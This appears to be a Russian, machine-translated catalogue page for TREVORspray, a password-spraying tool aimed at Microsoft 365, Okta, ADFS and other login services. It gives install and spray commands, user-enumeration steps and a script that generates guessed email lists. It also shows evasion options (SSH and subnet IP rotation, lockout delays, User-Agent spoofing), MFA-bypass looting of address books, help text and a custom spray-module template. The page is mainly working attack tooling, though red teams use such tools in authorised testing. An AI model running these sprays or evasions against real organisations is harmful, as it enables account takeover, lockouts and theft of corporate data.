TREVORspray

Password Attacks v2.1.0

Модульный инструмент password spray с проксировкой через SSH-хосты или подсети: определяет статус аккаунта (заблокирован, MFA, существует) и поддерживает Microsoft 365, Okta, ADFS и другие провайдеры.

v2.1.0
current
Добавлен 26.06.2026 · Обновлён 26.06.2026 · Password Attacks
Установка
# pip
pip install trevorspray

# Из исходников
git clone https://github.com/blacklanternsecurity/trevorspray
cd trevorspray && pip install -e .

# Пример: spray Office 365
trevorspray spray -u users.txt -p 'Summer2024!' --ms-office 365
переведено ИИ

TREVORspray 2.0

TREVORspray — это модульный инструмент для перебора паролей с поддержкой многопоточности, проксирования через SSH, модулей для извлечения данных и многого другого!

Автор: @thetechr0mancer

Лицензия Версия Python

Установка:

pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

Смотрите сопроводительную статью в блоге для забавного рант и крутых демо!

trevorspray-demo

Возможности

  • Потоки, множество потоков
  • Несколько модулей
  • msol (Office 365)
  • adfs (Active Directory Federation Services)
  • owa (Outlook Web App)
  • okta (Okta SSO)
  • anyconnect (Cisco VPN)
  • пользовательские модули (легко создавать!)
  • Сообщает статус каждой учётной записи: существует ли она, заблокирована ли, включена ли многофакторная аутентификация (MFA) и т.д.
  • Автоматическая отмена/возобновление (запоминает уже испробованные комбинации логин/пароль в ~/.trevorspray/tried_logins.txt)
  • Последовательное проксирование через несколько IP-адресов с помощью --ssh или --subnet
  • Автоматическое бесконечное переподключение/повторная попытка, если прокси недоступен (или если пропал интернет)
  • Подменяет User-Agent и другие сигнатуры, чтобы выглядеть как легитимный трафик аутентификации
  • Подробное логирование
  • Опциональные задержки --delay, --jitter и --lockout-delay между запросами для обхода блокировок
  • Поддержка IPv6
  • Поддержка обхода MFA для O365 (отключается через --no-loot)
  • IMAP
  • SMTP
  • POP
  • EWS (Exchange Web Services) — автоматически извлекает глобальную адресную книгу (GAL)
  • EAS (Exchange ActiveSync)
    • Рекомендуемый обход: приложение BlueMail для Android
  • EXO (Exchange Online PowerShell)
  • UM (Exchange Unified Messaging)
  • AutoDiscover — автоматически извлекает офлайн-адресную книгу (OAB)
  • Доступ к порталу Azure
  • Разведка домена --recon со следующими возможностями:
  • список MX/TXT-записей
  • список информации об O365
    • ID арендатора (tenant ID)
    • имя арендатора
    • другие домены арендатора
    • URL SharePoint
    • URL аутентификации, autodiscover, конфигурация федерации и т.д.
  • Перечисление пользователей (используйте --recon и --users):
    • OneDrive
    • Azure Seamless SSO

Как использовать — O365

  • Сначала получите список адресов электронной почты для corp.com и выполните перебор, чтобы проверить, работает ли конфигурация по умолчанию. Обычно работает.
  • Если TREVORspray сообщает, что электронные адреса в вашем списке не существуют, не отчаивайтесь. Получите token_endpoint с помощью --recon corp.com. token_endpoint — это URL, по которому будет выполняться перебор (с помощью опции --url).
  • Может потребоваться экспериментирование, чтобы найти правильную комбинацию token_endpoint и формата электронной почты.
    • Например, если вы атакуете corp.com, это может быть не так просто, как перебор для corp.com. Может оказаться, что материнская компания Корпа — Evilcorp — владеет их тенантом Azure, а значит, вам нужно перебирать по token_endpoint домена evilcorp.com. Также может выясниться, что вместо corp.com используется внутренний домен corp.local.
    • Таким образом, в итоге вместо перебора bob@corp.com по token_endpoint corp.com вы перебираете bob@evilcorp.com по token_endpoint evilcorp.com.

Пример: Выполнение разведки против домена (извлечение информации об арендаторе, autodiscover, mx-записей и т.д.)

trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

Пример: Перечисление пользователей через OneDrive (без неудачных входов)

trevorspray --recon evilcorp.com -u emails.txt --threads 10

recon-user-enumeration

Пример: Перебор по обнаруженному URL "token_endpoint"

trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

Пример: Перебор с задержкой в 5 секунд между запросами

trevorspray -u bob@evilcorp.com -p 'Welcome123' --delay 5

Пример: Перебор с последовательным проксированием через 3 IP (текущий IP также используется, если не указан -n)

trevorspray -u emails.txt -p 'Welcome123' --ssh root@1.2.3.4 root@4.3.2.1

Пример: Поиск действительных имен пользователей без OSINT >:D

# клонируйте набор данных wordsmith
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# упорядочите первую букву по частоте встречаемости
ordered_letters=asjmkdtclrebnghzpyivfowqux

# пройдитесь по первым буквам
echo -n $ordered_letters | while read -n1 f; do
  # пройдитесь по 2000 самым популярным фамилиям в США
  head -n 2000 'usa/lnames.txt' | while read last; do
    # сгенерируйте электронные адреса в формате f.last
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

Извлечение данных из скачанных LZX-файлов

Когда TREVORspray успешно обходит MFA и извлекает офлайн-адресную книгу (OAB), адресная книга скачивается в формате LZX в папку ~/.trevorspray/loot. LZX — это древний и неприятный алгоритм сжатия, используемый Microsoft.

# получите libmspack (для извлечения LZX-файлов)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# извлеките LZX-файл
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# извлеките все строки
strings oab.bin
# извлеките и удалите дубликаты электронных адресов
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - Справка:

$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

Спрей-инструмент для проверки паролей с возможностью балансировки нагрузки через SSH-хосты

options:
  -h, --help            показать это справочное сообщение и выйти

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Модуль для проверки паролей (по умолчанию: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        файл(ы) с парами "имя_пользователя:пароль" (формат: 'имя_пользователя:пароль')
  -u, --users USERS [USERS ...]
                        Имя(ена) пользователей и/или файл(ы) с именами пользователей
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Пароль(и) и/или файл(ы) с паролями
  --url URL             URL-адрес для проверки
  -r, --recon, --enumerate DOMAIN
                        Получает MX-записи и информацию, связанную с аутентификацией, электронной почтой, Azure, Microsoft 365 и т.д. Если указаны --usernames, это также включает перечисление пользователей.
  --export-tenants FILE
                        Экспортировать все обнаруженные домены арендаторов в файл

advanced arguments:
  Циклическая балансировка трафика через удаленные системы по SSH (перезаписывает --threads)

  -t, --threads THREADS
                        Максимальное количество одновременных запросов (по умолчанию: 1)
  -f, --force           Попробовать все имена пользователей/пароли, даже если они уже проверялись
  -d, --delay DELAY     Пауза в столько-то секунд между запросами
  -ld, --lockout-delay LOCKOUT_DELAY
                        Дополнительная пауза в столько-то секунд при обнаружении блокировки
  -j, --jitter JITTER   Добавить случайную задержку до стольких-то секунд между запросами
  -e, --exit-on-success
                        Остановить проверку при нахождении действительных учетных данных
  -nl, --no-loot        Не выполнять действия по сбору данных для действительных учетных записей
  --ignore-lockouts     Принудительно продолжать проверку и не останавливаться при обнаружении множественных блокировок учетных записей
  --timeout TIMEOUT     Тайм-аут соединения в секундах (по умолчанию: 10)
  --random-useragent    Добавлять случайное значение в User-Agent для каждого запроса
  -6, --prefer-ipv6     Предпочитать IPv6 вместо IPv4
  --proxy PROXY         Прокси для использования в запросах HTTP и HTTPS
  -v, --verbose, --debug
                        Показывать, какой прокси используется для каждого запроса

SSH Proxy:
  Циклическая балансировка трафика через удаленные системы по SSH (перезаписывает --threads)

  -s, --ssh USER@SERVER [USER@SERVER ...]
                        Циклическая балансировка нагрузки через эти SSH-хосты (пользователь@хост) ПРИМЕЧАНИЕ: Текущий IP-адрес также используется один раз за цикл
  -i, -k, --key KEY     Использовать этот SSH-ключ при подключении к прокси-хостам
  -b, --base-port BASE_PORT
                        Базовый слушающий порт для SOCKS-прокси
  -n, --no-current-ip   Не проверять с текущего IP-адреса, использовать только SSH-прокси

Subnet Proxy:
  Отправлять трафик со случайных адресов внутри IP-подсети

  --subnet SUBNET       Подсеть, с которой отправлять пакеты
  --interface INTERFACE
                        Интерфейс, через который отправлять пакеты

Написание собственных модулей проверки

Если вам нужно проверить сервис/эндпоинт, который пока не поддерживается, вы можете написать собственный модуль для проверки! Это отличный вариант, так как пользовательские модули получают доступ ко всем функциям TREVORspray — например, прокси, задержкам, джиттеру и т.д.

Написание собственного модуля проверки довольно простое. Создайте новый .py файл в lib/sprayers (например, lib/sprayers/custom_sprayer.py), и создайте класс, который наследуется от BaseSprayModule. Класс можно назвать как угодно. Заполните HTTP-метод и любые другие параметры, необходимые в запросах (примеры можно посмотреть в lib/sprayers/base.py или в любом другом модуле). - Вам нужно реализовать всего один метод в вашем пользовательском классе: check_response(). Этот метод анализирует HTTP-ответ, чтобы определить, был ли вход успешным. - Когда вы закончите, вы можете использовать пользовательский модуль проверки, указав имя вашего Python-файла (без .py) в командной строке, например: trevorspray -m custom_sprayer -u users.txt -p Welcome123.

# Пример модуля проверки

from .base import BaseSprayModule

class SprayModule(BaseSprayModule):

    # HTTP method
    method = 'POST'
    # default target URL
    default_url = 'https://login.evilcorp.com/'
    # body of request
    request_data = 'user={username}&pass={password}&group={otherthing}'
    # HTTP headers
    headers = {}
    # HTTP cookies
    cookies = {}
    # Don't count nonexistent accounts as failed logons
    fail_nonexistent = False

    headers = {
        'User-Agent': 'Your Moms Smart Vibrator',
    }

    def initialize(self):
        '''
        Get additional arguments from user at runtime
        NOTE: These can also be passed via environment variables beginning with "TREVOR_":
            TREVOR_otherthing=asdf
        '''
        while not self.trevor.runtimeparams.get('otherthing', ''):
            self.trevor.runtimeparams.update({
                'otherthing': input("What's that other thing? ")
            })

        return True


    def check_response(self, response):
        '''
        returns (valid, exists, locked, msg)
        '''

        valid = False
        exists = None
        locked = None
        msg = ''

        if getattr(response, 'status_code', 0) == 200:
            valid = True
            exists = True
            msg = 'Valid cred'

        return (valid, exists, locked, msg)

БЛАГОДАРНОСТЬ — ОГРОМНОЕ СПАСИБО: - @dafthack за написание MSOLSpray - @Mrtn9 за его порт MSOLSpray на Python MSOLSpray - @KnappySqwurl за волшебство со Splunk - @CarsonSallis за обходы MFA для O365 - @DrAzureAD за функции разведки Azure AD (AADInternals) - @nyxgeek за перечисление пользователей OneDrive (onedrive_user_enum) - @gremwell за перечисление пользователей Seamless SSO (o365enum)

trevor

#trevorforget

Комментарии
Войдите, чтобы оставить комментарий